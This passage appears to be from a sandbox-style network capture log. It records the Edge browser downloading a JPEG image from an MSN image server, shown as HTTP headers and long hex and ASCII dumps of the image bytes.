2024-11-19 17:00:47 UTC	15863	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-19 17:00:47 UTC	16384	IN	Data Raw: 92 8a d0 1c cf 51 57 14 54 bc d8 cc e1 ba b0 3b 9e a1 03 e6 76 ea 0b 24 2e 60 ce d3 ba 6f 54 75 40 ec e8 cf 15 95 71 5c ff 00 51 bd 56 7a 8d ea 8b 0b 2f 17 4a 8d 55 ad bd 42 52 f1 d5 3b 02 d9 77 15 4b 36 2c 59 5b fd c8 80 75 36 8f 35 b5 f1 50 65 2c 73 48 76 85 26 d5 7f 70 47 93 cf 8f 00 9a 5e 78 00 d8 f8 95 ce c2 d0 5d 19 09 a4 9b c1 bf bf e3 d5 75 b2 60 15 18 a4 37 8c fc 61 42 ce d3 1b 4c 97 17 70 d0 7e 25 70 7b 89 7f c3 af 43 b5 db f6 fd b5 21 ec 6c c1 b1 3a ca bf 4e 3a 83 c8 12 2c 1c b8 cd 71 60 a5 9c a3 82 c9 27 8a a7 fd 46 31 13 25 1e a7 65 d9 b1 8d e7 d9 40 7b ae 8d 0b 94 b2 63 65 8b f3 cd eb 45 f1 45 d7 77 19 0f 01 c2 ca b1 71 f3 e2 55 72 e5 1a c9 b7 2d db 65 51 64 e4 3e ea 29 e0 96 10 a4 61 2b 54 75 1b c2 5a ca 62 a2 53 1d 54 64 f1 29 2b ea 11 af Data Ascii: QWT;v$.`oTu@q\QVz/JUBR;wK6,Y[u65Pe,sHv&pG^x]u`7aBLp~%p{C!l:N:,q`'F1%e@{ceEEwqUr-eQd>)a+TuZbSTd)+
2024-11-19 17:00:47 UTC	2662	IN	Data Raw: f2 f4 34 50 39 0d c4 eb c8 30 6f a0 85 38 c3 69 98 1d 75 f2 57 4b 43 86 b4 ce 9c 0e e3 ef 64 37 13 5b 72 66 6c 23 8f 50 52 f7 3d 07 c0 a4 00 6c 92 27 a4 fe 10 99 d2 5b 14 b6 66 6f 6f 13 a7 92 67 0a 2c 1b b7 b9 f6 3e 49 ec 5a 06 84 de 34 bf f9 4a f5 1d 14 ea 32 01 6c f9 c4 03 f7 b2 8a 9d a6 d3 23 a4 44 78 ab be 99 20 02 40 eb 7d 7a 70 e1 2b 5a c6 b5 c4 92 0e d1 a0 07 8a be 49 13 45 30 c9 df a7 d3 f1 5b 49 d8 1e 9a 8d fc fe 8a d9 8e 9a e9 1a 0f 6e 1f 82 8b 88 b7 f5 de 78 74 4f 95 8a 8a fe 9b 89 99 b7 d3 5d 47 15 87 10 67 43 56 bf 54 c6 c6 c2 7a ce fc 7d b6 52 b8 92 48 22 26 dd 40 3f 1f 25 56 f0 2a 44 4d c7 ec 7a 47 de eb 00 1b 80 2f a5 93 d2 67 43 1f 1f 00 b1 cc 2d 92 23 41 1d 0c f5 fa 27 7d 77 0a 1c d2 d9 20 c8 8f 21 f7 e2 a3 90 e7 41 2e 22 76 09 da d7 1d Data Ascii: 4P90o8iuWKCd7[rfl#PR=l'[foog,>IZ4J2l#Dx @}zp+ZIE0[InxtO]GgCVTz}RH"&@?%V*DMzG/gC-#A'}w !A."v
2024-11-19 17:00:48 UTC	16384	IN	Data Raw: f3 2f f6 0e 07 21 d8 e8 31 ca d2 1d c2 fe 29 28 78 33 25 d3 b6 b1 bc db aa ee b7 13 e4 88 04 41 d4 02 76 1a 91 c2 74 55 ff 00 6f 04 00 e9 b3 af 24 3a 47 4b c4 09 9d 95 af 3a d9 b0 f6 ce 33 fd c1 f3 80 88 68 f7 f3 f1 5d 47 f6 6f f4 e0 18 27 59 eb 31 56 86 24 6c 15 67 f6 59 0b 88 c7 14 6a 2e 6d 79 22 60 4c fb ad 57 97 c6 f5 48 8e 12 ec 54 96 89 b3 bd a2 75 e8 02 88 e4 1a cf 5d 06 cb a4 7b 17 35 c0 12 44 83 7d 74 be a3 43 d2 62 54 ff 00 b6 10 d0 48 e5 32 5c e0 37 70 24 11 70 7d a1 37 e6 87 7b 0e 12 38 d1 3d 5b f9 28 64 cd 86 84 7b 7d fc 57 a4 38 4d 4d 71 dd c6 64 0b 34 4d ec 3c c4 15 49 d8 f2 63 24 36 e3 fe a1 2e b8 9b 8d 06 f0 3c d2 5e 64 fb 7d 47 c0 e6 df 57 b4 89 3a 9f 7d 92 82 ca a9 b9 9b db 51 ef 2b a0 fe d3 26 42 25 d3 43 b9 81 86 88 b4 47 5b 6b ec a6 Data Ascii: /!1)(x3%AvtUo$:GK:3h]Go'Y1V$lgYj.my"`LWHTu]{5D}tCbTH2\7p$p}7{8=[(d{}W8MMqd4M<Ic$6.<^d}GW:}Q+&B%CG[k
2024-11-19 17:00:48 UTC	16384	IN	Data Raw: 34 73 3c bb 98 0e 00 9b c6 c9 bb 6f ed f4 2e c7 37 aa 20 89 04 87 4c 6e a5 cb 97 16 32 f7 e2 39 2a 73 60 93 14 98 22 6d 77 47 c0 ab ca 7c 52 c6 eb e7 a9 1b e5 95 da fa 31 06 c5 af 04 d9 c7 f0 89 95 0e 3c 85 8f 61 04 fc c3 8e ea d7 6a df 5d e6 a8 73 58 da 60 ff 00 ca 4b 40 03 53 33 2a ae 5c 79 3b 79 6b 88 93 ca 7a d2 08 3f 5b 2b c5 ca 2f 7d eb e4 5d 98 cf 74 9c 8e 89 0e 2d e6 8d 0c cc 4c 8d a6 64 5d 59 70 2d c6 79 e7 43 41 69 92 34 a9 a4 c8 80 4a ac ec 2f 6e 31 92 0b 98 49 04 88 81 1f 11 ee 54 b9 32 39 ae 6b 64 3a 86 08 30 62 e3 4b 9b 8e 29 3c d5 53 ff 00 85 12 0c 04 3c 63 c8 41 24 0a 5c d2 2d 00 9a 60 c6 f0 34 4f 4b 32 8c 65 ac 03 21 ab 99 ce d6 99 0d 88 b1 b0 53 63 cb 8d d9 31 bb d2 6b 9d e9 de a3 00 1a 60 5e e2 0d b5 d6 60 a8 dd 46 1a e9 02 5a 4d c7 30 Data Ascii: 4s<o.7 Ln29s`"mwG\|R1<aj]sX`K@S3\y;ykz?[+/}]t-Ld]Yp-yCAi4J/n1IT29kd:0bK)<S<cA$\-`4OK2e!Sc1k`^`FZM0
2024-11-19 17:00:48 UTC	7952	IN	Data Raw: 82 35 1c 3d b7 48 ec b3 f2 c1 90 4e b1 4e d3 fe 7c 96 09 72 4b 5d b7 c9 77 44 38 f2 3f d5 39 1c e2 1e d6 e9 a8 36 bc f4 30 61 59 1e a5 db a0 f9 84 da e3 43 a7 97 b2 84 ba 87 bc 41 35 8d 76 3e e7 49 4e cc 95 06 07 4c 01 03 7d 4e 81 54 fe 15 50 26 50 67 6a ec 5d c1 04 d4 63 98 89 83 a4 cc 81 a1 b1 9d 55 8f 48 35 d6 02 ce 02 92 7e 66 8e 20 ea e1 a0 91 b2 b2 1d 01 d6 f1 e8 3e ee ae 3b 06 4c 5d b3 df 93 94 38 72 9d 5c 61 dc b0 38 8b 6b 30 34 53 2f 26 d6 f7 a5 f2 24 ac a4 dc de 9e 3f 44 32 90 5c d7 3a a9 9e 60 20 c7 d3 82 87 1e 3c 87 23 0b 07 34 55 ec d8 f7 8b 74 2a 67 e5 73 f3 0d 1c e3 54 b8 c9 26 04 5f 8d a0 2b c3 2b 18 fa c3 c8 a4 11 43 45 e0 08 22 5d 63 57 b1 f8 28 72 71 d9 2b 6a fd 47 bd 15 58 7d 17 35 94 bc 9b b0 34 58 c9 1a b8 41 16 3b 15 7f bb 6e 6c f8 Data Ascii: 5=HNN\|rK]wD8?960aYCA5v>INL}NTP&Pgj]cUH5~f >;L]8r\a8k04S/&$?D2\:` <#4Ut*gsT&_++CE"]cW(rq+jGX}54XA;nl
2024-11-19 17:00:48 UTC	16384	IN	Data Raw: f8 65 ad 2c 9d 0e d9 98 dc d3 91 e3 94 3a 22 f3 3a c0 88 9b 02 0f 45 cb 71 0d 79 73 26 1c 1c 27 70 d7 4d be fa 24 39 1f 55 9d 00 55 a1 e5 8e 80 6e 4c eb d5 6e 16 bf 23 83 1a d2 67 f0 d7 c7 64 92 e2 dc 9b dd 7d 10 ef 6a 2e f6 4c c6 cf 51 ce cb 4c 32 96 37 52 f2 66 67 ac ff 00 2b 68 b3 b7 f5 1b 97 13 da e0 1a 1e 18 4c 81 36 83 22 67 cf d9 54 7e 42 1e 5a 43 29 61 74 16 e8 49 17 8f b8 57 7b 6e f1 9d b6 12 c6 30 b9 f9 0b 89 2f 32 d8 00 4c c4 1b ee 14 cd 4a 9b 5f 77 2a c6 2a 8a b5 84 dd 51 d6 ff 00 61 8f 1b 3b 5c 40 17 3c 92 2e 4e 80 ea 22 ce bd a0 91 e6 a9 76 23 0d 45 af 34 37 d3 87 b4 b9 c6 ab 4c 92 22 36 b7 18 55 b2 65 f5 de d7 ba 91 53 62 da 72 88 1f 4b 23 03 bb 76 0c d5 d4 ed 99 12 3a 49 3a 78 68 b0 50 6b c5 c5 f2 6f a6 f9 65 39 27 2b 54 51 c9 cf 91 ce 6d Data Ascii: e,:":Eqys&'pM$9UUnLn#gd}j.LQL27Rfg+hL6"gT~BZC)atIW{n0/2LJ_w**Qa;\@<.N"v#E47L"6UeSbrK#v:I:xhPkoe9'+TQm
2024-11-19 17:00:48 UTC	16384	IN	Data Raw: c6 5c d7 07 07 58 53 37 1a 1f 05 d2 ed 1e 0f 74 c1 8f 90 b9 b4 3e 64 82 00 3c bd 6f 61 ee b8 dd ef 72 d3 99 e5 ad 73 49 26 a6 bf f5 01 7d ec 3a 0d 96 09 ca 7e 4a af f1 4f f7 34 69 71 be a4 79 35 0e 8d 26 0d e0 80 66 27 42 40 80 61 66 2f 91 a4 83 7d 38 ef f0 d5 49 dd 77 6f 7e 2e df 1b 5a 68 a0 4d 4d 89 73 64 40 31 a0 1e 26 e5 43 8f b8 8c 61 96 a4 6f f5 8d 35 88 5d 15 2e 2b ed d7 6b d0 9a 5d cb c3 18 f9 9a e0 35 2e e0 62 05 fd b5 f7 49 87 11 c9 4b 1c ea 03 8c 4b ae 20 cc 90 06 e9 3d 43 06 06 f7 b6 b6 95 45 cf 71 63 79 ae 63 7b ee 25 42 52 77 9f f8 52 3b 98 fb 4c ce 2d 60 6b a2 aa 4b 8b 48 60 6e 80 98 9f 87 45 b9 31 e6 ee 4d 21 cc 3e 89 10 d8 83 4c 44 58 40 e8 64 fb 23 07 7a d2 48 ca eb bd cd 64 80 22 96 cd c6 83 7d 2c 0e ea cf fb 1c cc c0 1c 70 e5 6d 70 5b Data Ascii: \XS7t>d<oarsI&}:~JO4iqy5&f'B@af/}8Iwo~.ZhMMsd@1&Cao5].+k]5.bIKK =CEqcyc{%BRwR;L-`kKH`nE1M!>LDX@d#zHd"},pmp[
2024-11-19 17:00:48 UTC	7952	IN	Data Raw: d5 56 1c d7 58 88 93 ad cf 13 65 e2 06 2a 5d ff 00 94 79 0e 2b 2f e9 fd c9 3f 23 9b 5a 71 4b 6f 92 e7 c5 25 45 9c 1f db f5 0c 49 f4 cc 71 96 ff 00 95 23 c3 5b 88 4e fe 9d a2 f3 04 c5 bd cf 92 6c 4d 8c 6d 13 24 17 03 d4 c4 c2 67 b0 65 76 06 e8 df e6 ed 9a 06 a7 c8 4a d2 ee 7e b9 f4 46 48 eb 7f b1 6e 46 63 c0 c7 1c 78 dc c1 cd 8f 1d 6d 87 40 74 3a 64 48 03 ad 8e 8b 81 dd 39 ce 21 e6 d5 b8 be da 99 6b 7f 22 bb 9f ec 0e 57 31 85 ed 10 e7 b8 e3 00 c9 0d 2d 14 d4 01 22 60 ee 4b 94 7d 9f 6b 8f bb c8 e0 fa c3 31 92 39 41 3a 03 bc 40 e6 bf 11 65 cf e3 6b c7 e3 52 95 62 ee be 7f b9 bc be e9 52 38 6f 8b 8d 22 64 6e 4c c5 bc d1 8b b6 cb 9b 33 70 c4 38 87 44 98 06 96 93 63 f4 e2 ba bd ef fa ec fd ab 9e f3 4e 46 30 87 97 35 df ae 20 45 9c 48 9b c0 f8 28 bb 6e e0 b3 b8 Data Ascii: VXe*]y+/?#ZqKo%EIq#[NlMm$gevJ~FHnFcxm@t:dH9!k"W1-"`K}k19A:@ekRbR8o"dnL3p8DcNF05 EH(n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.8	49819	104.117.182.25	443	4132	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 17:00:47 UTC	634	OUT	GET /tenant/amp/entityid/BB1msMCf.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-19 17:00:47 UTC	521	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Sat, 09 Nov 2024 00:08:52 GMT X-Datacenter: westus X-ActivityId: 32c413ad-7e1a-4deb-8740-276382b042ff Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Type: image/jpeg Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msMCf X-Source-Length: 121899 Content-Length: 121899 Cache-Control: public, max-age=284840 Expires: Sat, 23 Nov 2024 00:08:07 GMT Date: Tue, 19 Nov 2024 17:00:47 GMT Connection: close
2024-11-19 17:00:47 UTC	15863	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-19 17:00:48 UTC	16384	IN	Data Raw: df 9d d0 80 00 c3 8c 5a 4c 09 20 e8 2e 47 8a 2e 3a dd ff 00 43 8d ce 6b 60 38 b6 43 64 ed 2e 83 0e 3f 44 22 44 f4 9d 37 fa a9 d8 17 1e 12 e6 b9 e4 1a 58 44 b8 00 4c 9d 9a 01 23 7d e5 0c d4 44 13 69 d8 fe 6c 8e 09 7d cb cb 89 30 d2 6c 01 8e ee e7 78 01 d5 67 32 5d 7d 0d c4 c1 f9 a5 c0 b2 fa 83 44 83 a0 1b fc 92 5f ae e5 41 91 f8 c9 73 09 6c cb 65 b2 0c 1d c4 f0 de e9 4b fb 6c 0f 23 f9 b9 5c 6d 6d 5c d7 34 d2 e0 41 1b ca 70 f7 b0 16 b0 c0 20 87 10 62 a0 77 06 f7 1c b6 41 26 a8 b4 01 61 16 9e 3d 57 6d fd 39 a8 ae 76 23 40 c8 66 ee 2d da 04 8b f5 93 6d ed 64 5c 98 ce 13 0f 69 15 30 39 ba 18 3b 18 df 84 a1 86 3b 78 88 fc ba 9f 10 27 59 51 49 49 1b da 44 f4 b2 23 45 8c ef a5 b7 5d dc 21 d7 e4 4f 2e 3d 13 12 f7 b9 ef 74 bc ee e3 3a 9e 7a 99 41 01 83 62 47 0d d7 Data Ascii: ZL .G.:Ck`8Cd.?D"D7XDL#}Dil}0lxg2]}D_AsleKl#\mm\4Ap bwA&a=Wm9v#@f-md\i09;;x'YQIID#E]!O.=t:zAbG
2024-11-19 17:00:48 UTC	2116	IN	Data Raw: a2 a3 78 1e 28 20 6f f9 f7 54 11 c6 b7 00 d6 35 b6 0d 86 c9 9e 72 e2 6e 75 88 40 d8 47 f0 88 0d a2 2f f3 e0 a6 c7 69 d7 54 03 85 13 a6 14 81 3d c5 da 58 53 1c f7 27 84 28 16 ab 44 0d e6 75 e1 d2 3c 12 ab ba b3 13 66 99 1b 99 b5 f4 be fc 65 02 ca 66 b1 f9 26 96 b9 d0 0b 8c 02 60 0d c9 8d 06 a5 22 38 ca e6 e3 a5 a5 cd dc 12 1c 60 b4 c7 6c 74 eb d5 69 92 63 7b f1 b8 3d 8e a5 cd b8 23 71 c1 47 10 46 d2 e9 24 ba 77 e5 1f 7d 52 ea ac db 44 0a 09 00 89 37 dc 68 54 56 14 28 28 13 b6 9c b6 1d 55 0d 27 f6 93 bc 78 7f 09 51 03 8c 58 91 62 0d e3 7d 10 40 40 69 11 73 af 4e 4b af c1 39 7b 68 68 a0 02 26 5d 2e 97 74 91 30 23 90 4a 5d 22 f2 4c eb b7 f3 2a 8e 91 4c 5b 7e 97 f3 48 55 56 25 44 25 e3 91 4a 8a 40 d2 76 bc f5 f3 28 68 8b 68 d6 67 7d 23 eb 2a 6a 99 a0 cd 81 3e Data Ascii: x( oT5rnu@G/iT=XS'(Du<fef&`"8`ltic{=#qGF$w}RD7hTV((U'xQXb}@@isNK9{hh&].t0#J]"LL[~HUV%D%J@v(hhg}#j>
2024-11-19 17:00:48 UTC	16384	IN	Data Raw: b7 e6 6b 83 da f8 38 aa f8 64 cc 69 f1 38 c9 1c f6 5e 63 b7 89 0a 39 57 6f 02 6d f2 1c d1 4b 5a d0 21 d5 12 76 17 11 fc f2 59 c4 02 8d ee 9a 69 16 1a 01 c7 ac 4a 20 e5 94 10 26 4e a0 4f 6f 23 20 5c 6a b7 10 c1 8d 94 82 5c 66 b2 60 8d ec 1a 0b 44 1e a6 4c af 2d ae 8e 32 bd 0c 6e 6d 19 1e fc 90 47 c0 da 6a a8 cd c4 cf 6c 0b cc 19 d9 1b 83 07 b4 c8 71 23 b6 04 0b 4c eb f7 d5 73 5a d6 87 02 e8 74 c1 6d f6 8d f6 8f 0d f9 2c 43 2d f6 04 73 4d 5d 46 4d 93 55 ad f8 5a 60 97 38 5f b8 00 24 0e a2 4a ca 1d 92 0e 3a dc 1a 6c 44 c0 31 b4 e8 7c 56 96 39 e5 b5 bb b9 a4 d3 b8 a8 98 f1 36 d5 2b c0 04 12 59 b8 d9 c0 b8 cd fe 16 93 b6 a8 b5 5d e9 63 06 37 0f 51 ee 17 55 ee 63 01 c0 62 83 60 5c 6c e2 ed e1 bb 59 60 cb 88 e3 34 92 0f 02 08 f3 0b d8 f5 79 19 88 9c 78 9e 72 36 Data Ascii: k8di8^c9WomKZ!vYiJ &NOo# \j\f`DL-2nmGjlq#LsZtm,C-sM]FMUZ`8_$J:lD1\|V96+Y]c7QUcb`\lY`4yxr6
2024-11-19 17:00:48 UTC	16384	IN	Data Raw: d8 c8 4d 10 22 97 07 13 b9 da 39 36 27 c6 52 92 37 8d fa 59 71 f1 b8 d7 54 56 96 b3 4f 1f c0 9c 35 cd bc 11 06 26 35 1a 5f e6 b4 35 e7 29 27 33 9c 4d 36 71 bb ac 21 ad 12 76 fa 0d 93 bf 0b 5a da c5 c1 30 38 f9 e8 8e 98 ce ee f7 13 2d bd c8 b0 1e 11 03 80 08 3b 18 9f e8 b4 b4 4f 86 d6 98 41 c9 2e 93 79 e7 af 9e e8 ce 35 8c e3 d8 f6 e8 61 35 54 5d 48 aa da 03 b8 1d 42 01 f8 e5 8e 3c 44 b7 4b f3 51 9d b1 04 4c eb 79 f0 da 38 aa 41 6c fe 4f 96 88 a0 e4 75 44 e9 c8 4c 0f 35 2a 90 6d 33 17 e9 e1 f7 55 db 0b 83 37 b6 9c 8d be 8b 89 60 63 62 6a bc ec 00 bd a3 52 7a a3 24 8b 13 d3 f3 75 d2 d0 6e 1d 71 c2 fe 5b 24 05 11 c6 bb 80 1a 3a 6f e2 51 03 21 d4 d5 06 92 62 a8 b1 23 49 eb c9 2a 69 b4 13 c2 f6 1c 02 3e 1c 85 8f 30 d6 bd ce 69 68 a9 81 c2 fa 80 76 20 6c 74 40 Data Ascii: M"96'R7YqTVO5&5_5)'3M6q!vZ08-;OA.y5a5T]HB<DKQLy8AlOuDL5m3U7`cbjRz$unq[$:oQ!b#Ii>0ihv lt@
2024-11-19 17:00:48 UTC	7952	IN	Data Raw: 28 00 74 3f 25 42 9c 79 28 39 29 34 82 1a 5d 16 93 a7 14 ed c6 48 9d a4 5b 9d d4 f0 5a ce 62 f7 55 43 45 80 80 d0 1b 61 1b 0d 79 aa 84 71 cd 9b 23 1a e7 17 91 4b 1b 51 98 03 66 89 26 00 f2 45 ce c7 07 90 e0 da 9a 4b 49 6d e4 8d 6c 48 f2 b2 40 03 49 91 28 ae 89 14 be b9 00 9e da 40 3a 8b ef 1d 42 a3 3b d8 45 ad d6 c8 37 ba dc 0c 1a 7b 4b 48 e8 7c f5 33 e0 b3 90 06 a3 f3 c1 10 a1 ee 6e 32 cb 43 e0 9b 34 9b 6d 78 91 e0 6e 84 0f 1e 7d 11 5a e6 b6 aa 9b 55 a1 a6 62 93 d7 9f 04 b2 0f 2e a8 12 e3 ea 8a 31 bc e2 76 46 83 4b 69 0f 33 69 76 df 45 29 b3 6e 20 ce a2 44 75 13 e5 2a 36 1a f6 d7 25 92 2a 00 c1 2d 9b c6 93 1b 2a 84 96 de 6d d1 74 01 f0 9d 86 eb 53 fd bc 3e a5 f3 88 86 43 a8 66 50 49 0d 70 ec 9a 4b 6f 04 19 db 92 c6 5c ce da 41 10 05 44 99 93 af 4b 7e 4a Data Ascii: (t?%By(9)4]H[ZbUCEayq#KQf&EKImlH@I(@:B;E7{KH\|3n2C4mxn}ZUb.1vFKi3ivE)n Du6%-*mtS>CfPIpKo\ADK~J
2024-11-19 17:00:48 UTC	16384	IN	Data Raw: 21 f6 31 ca 3a ae 73 8c 9d cf 5f f0 89 97 d3 c3 71 e4 f7 1a e0 f0 49 0d 32 e6 41 8e f1 16 94 c1 8d 17 d3 f3 55 94 64 74 88 75 cc fc 96 cc 0c 93 2e e9 37 50 86 b9 8e ee 13 22 d0 6a ff 00 da 76 03 94 a3 61 6c b9 b2 ee 80 55 b2 2e 72 f4 9d b7 d8 2c b9 46 68 fd 23 41 13 28 d8 b2 07 e7 32 e1 db 60 34 31 d3 69 5a 33 1b 99 12 0f c9 1b f2 f1 5b e9 5a 1b 37 9b f8 78 ac ee c2 29 70 2d 0f 92 03 5f 26 dd 6d 61 e2 57 b0 33 b5 8d 21 ae 22 a1 04 4e e3 a1 e4 b3 b5 ae 32 6c 07 2d 15 63 d6 3e 6f 2e 00 c7 75 e1 b2 76 e1 14 87 73 db 82 f6 1d e9 e4 c8 16 3e 69 dd e9 f3 60 ee 0d 61 11 37 83 31 ba ae 57 a3 97 99 1d c1 d6 dc 18 bc 0e 5f 85 7d 00 69 ce 2b 16 e4 0d 84 71 fb 95 e6 0c 98 9a c1 ff 00 33 51 99 25 fd be 00 34 6b cc af 42 8c b8 83 1c 71 f6 bc 40 aa 5a de e1 63 a5 f5 46 Data Ascii: !1:s_qI2AUdtu.7P"jvalU.r,Fh#A(2`41iZ3[Z7x)p-_&maW3!"N2l-c>o.uvs>i`a71W_}i+q3Q%4kBq@ZcF
2024-11-19 17:00:48 UTC	16384	IN	Data Raw: 97 07 f0 a0 b3 d4 63 70 c6 06 32 d2 d0 7d c7 c9 75 46 6c 40 b5 30 3a 14 c3 2d b7 b8 36 3a ac e3 7e d2 8e 7d 43 58 db 34 83 56 e7 60 34 00 40 bf 34 de f8 89 5e 56 57 03 70 ef 0d 50 d9 93 b8 07 97 06 9d e3 7f 00 53 0f 77 a2 ec d2 e0 74 fb a5 3e a1 cd 27 62 bc d2 f2 6d 28 98 fb cc 74 13 f9 2a 27 bb b2 65 d7 c5 27 fb 06 d0 9b 27 4d 3f 35 5e 7b 81 05 6a 47 3b d5 63 73 de 5d 8a 65 b0 08 11 50 aa fd 1b b9 1d 4a f3 9c e0 50 cb 88 43 95 a9 1c ad d3 97 6c 12 54 52 eb 74 b2 b4 c1 a5 42 52 ca e4 41 f1 b8 07 34 b8 54 01 04 8d a4 74 b7 55 b4 e5 0f 73 9c d1 ed b4 93 0d 04 90 d1 a0 93 7b 2f 2a 53 87 14 6a 57 a8 1c 0a b5 4b 85 96 5c 7e a7 23 31 3f 08 a6 9c 85 ae 74 b4 55 db 31 0e 8a 80 bd c0 37 4f 8d c1 a4 97 09 11 b0 31 7d 34 28 d6 b6 dc 7e 4a 90 4c 40 9e 17 48 1e d2 d2 Data Ascii: cp2}uFl@0:-6:~}CX4V`4@4^VWpPSwt>'bm(t'e''M?5^{jG;cs]ePJPClTRtBRA4TtUs{/SjWK\~#1?tU17O1}4(~JL@H
2024-11-19 17:00:48 UTC	7952	IN	Data Raw: 18 9f d5 37 b6 fe a1 7a 10 a4 14 f6 31 e7 fb 4e ea 14 f6 9d d4 2d f0 ee 4a 41 4f 64 c8 c1 ed 3b f5 0f 9a ef 64 f5 fa af 42 1d d1 aa 52 7a 0f 92 7b 0f 3f db e6 bb db e6 bd 0a 7f b4 79 ae a4 7e 91 e6 13 d8 c7 9f ed ab ed 1f c0 bd 0a 47 e9 1e 61 5f 0f a7 f0 9e c6 3c df 68 fe 05 3d a3 cf c9 7a b1 3a 7d 17 40 fd 3f 44 f6 31 e5 7b 27 9f 92 ef 65 dc d7 ad 48 fd 2a 80 3f 4f d1 3d 8c 79 1e cb ba 1f 25 de cb ba 15 eb c3 7a 7e 79 ab 43 3a 7e 79 a7 b5 31 e3 fb 4e 4e 31 bd 7a 87 1b 3f 4f d7 f9 5d ed e3 e9 f9 e6 9e d4 c7 9b ed bf a7 c9 77 b7 93 a2 f4 7d bc 7f a7 f3 cd 5f 6b 1f 4f af f2 9e d4 c7 9b ed e4 e8 bb da c9 d1 7a 7e de 3f d3 f5 fe 53 7b 2c fd 07 e7 fc ac fb 2e 3c cf 69 ff 00 a7 e4 a1 c2 e3 fb 7e 4b d5 f6 59 bd 27 f3 c5 37 b3 8f f4 fe 79 a7 b5 3d 5e 3f fa ef e8 Data Ascii: 7z1N-JAOd;dBRz{?y~Ga_<h=z:}@?D1{'eH*?O=y%z~yC:~y1NN1z?O]w}_kOz~?S{,.<i~KY'7y=^?
2024-11-19 17:00:48 UTC	6096	IN	Data Raw: 9d ad 6f 44 56 b4 e8 4a 9a d4 3f b1 96 6e 4f 3d 6e b4 35 8e 99 2e 74 6c 79 23 43 c8 15 c7 27 0e 9d 4a 0b dd 41 ea 3c 7a 2a e8 3b 6b 00 82 44 1f ce a9 5d 8c 3a d1 7d 23 9e b7 43 61 0d 26 6a be c3 44 d1 94 36 6a 2d d3 79 e2 a3 44 6e 06 00 e9 71 91 c2 ff 00 64 8d f4 f4 99 92 44 10 64 a2 51 9b e0 6e b2 67 6f aa 5a 7d 4d 13 0e da fa de 54 3f fc a9 c4 c7 46 bb 10 52 65 63 b5 e1 73 61 08 e3 1b e9 20 9a 6d 33 f6 41 2d 78 1b 4c 5e ff 00 3f e1 4d 33 8f 04 6b 3f f4 da c6 d3 e0 88 ff 00 75 cc 86 b5 a6 2c 7f 51 e6 83 ef 38 b8 b5 ac bc 18 1b c6 b2 9c 1c af 1d c2 91 13 56 d2 a3 3f dc a3 1e 41 63 6d 6d bf c9 17 dc cc 05 4d 37 d8 ce e4 42 8d a8 12 d6 ba 64 ed b9 e8 9c 92 4b 81 73 8d b9 75 da ca 2c 9c 33 8c 8f c6 36 69 bd cc 6f 1c 11 06 6f 70 c1 ac 49 dc 4f cf fc a2 d4 1a Data Ascii: oDVJ?nO=n5.tly#C'JA<z*;kD]:}#Ca&jD6j-yDnqdDdQngoZ}MT?FRecsa m3A-xL^?M3k?u,Q8V?AcmmM7BdKsu,36ioopIO

